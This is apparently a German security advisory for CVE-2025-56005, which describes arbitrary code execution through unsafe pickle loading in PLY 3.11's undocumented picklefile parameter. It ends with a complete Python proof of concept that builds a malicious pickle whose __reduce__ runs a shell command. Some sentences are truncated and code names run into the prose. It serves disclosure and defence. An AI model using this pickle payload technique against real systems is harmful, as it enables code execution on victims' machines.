
Undokumentierte RCE in PLY über den `picklefile`-Parameter
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Eine undokumentierte und unsichere Funktion in der über PyPI verteilten Version von PLY 3.11 ermöglicht beliebige Code-Ausführung, wenn die Funktion yacc() mit dem Parameter picklefile aufgerufen wird.
Der Parameter picklefile veranlasst PLY, eine .pkl-Datei mit Pythons pickle.load() ohne Validierung zu deserialisieren. Da Pythons -Modul die Ausführung beliebigen Codes während der Deserialisierung unterstützt (z. B. über ), kann ein Angreifer, der die bereitgestellte Pickle-Datei kontrollieren kann, beliebigen Code während der Parser-Initialisierung ausführen.
pickle__reduce__()Dieser Parameter ist nicht dokumentiert in der offiziellen PLY-Dokumentation oder im GitHub-Repository, ist jedoch in der PyPI-Version aktiv.
Wenn ein Angreifer die an yacc(picklefile=...) übergebene .pkl-Datei kontrollieren, ersetzen oder beeinflussen kann, kann er Folgendes erreichen:
Dies kann Anwendungen betreffen, die Parser-Tabellen laden aus:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() in ply/yacc.pyDiese Schwachstelle stellt aufgrund ihrer heimlichen Natur und des Potenzials für Persistenz ein erhöhtes Risiko dar.
Der Parameter picklefile ist undokumentiert in der offiziellen PLY-Dokumentation und im GitHub-Repository. Die über PyPI verteilte Version von PLY 3.11 enthält jedoch diese Funktionalität und verarbeitet die bereitgestellte Datei mit pickle.load() ohne Validierung.
Da Pythons pickle-Modul die Ausführung von eingebettetem Code während der Deserialisierung erlaubt, kann eine bösartige Pickle-Datei beliebigen Code während der Parser-Einrichtung ausführen, bevor irgendeine Parsing-Logik aufgerufen wird.
Zum Zeitpunkt des Verfassens hat der Maintainer dieses Verhalten nicht öffentlich anerkannt.
Diese Funktionalität kann missbraucht werden, um persistente Backdoors einzuführen, insbesondere in Umgebungen, in denen Parser-Tabellendateien:
Angesichts der fehlenden Dokumentation, des stillen Ausführungspfads und der hohen Auswirkung unsicherer Deserialisierung ist eine CVE-Zuweisung gerechtfertigt, um das Bewusstsein zu schärfen und nachgelagerte Benutzer zu schützen.
Dieser Proof of Concept demonstriert beliebige Code-Ausführung, wenn eine bösartige Pickle-Datei über den undokumentierten Parameter picklefile bereitgestellt wird.
Der PoC:
Wenn yacc(picklefile='exploit.pkl') aufgerufen wird, wird beliebiger Code während der Parser-Initialisierung ausgeführt.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile nicht mit nicht vertrauenswürdigen oder extern beschreibbaren Dateien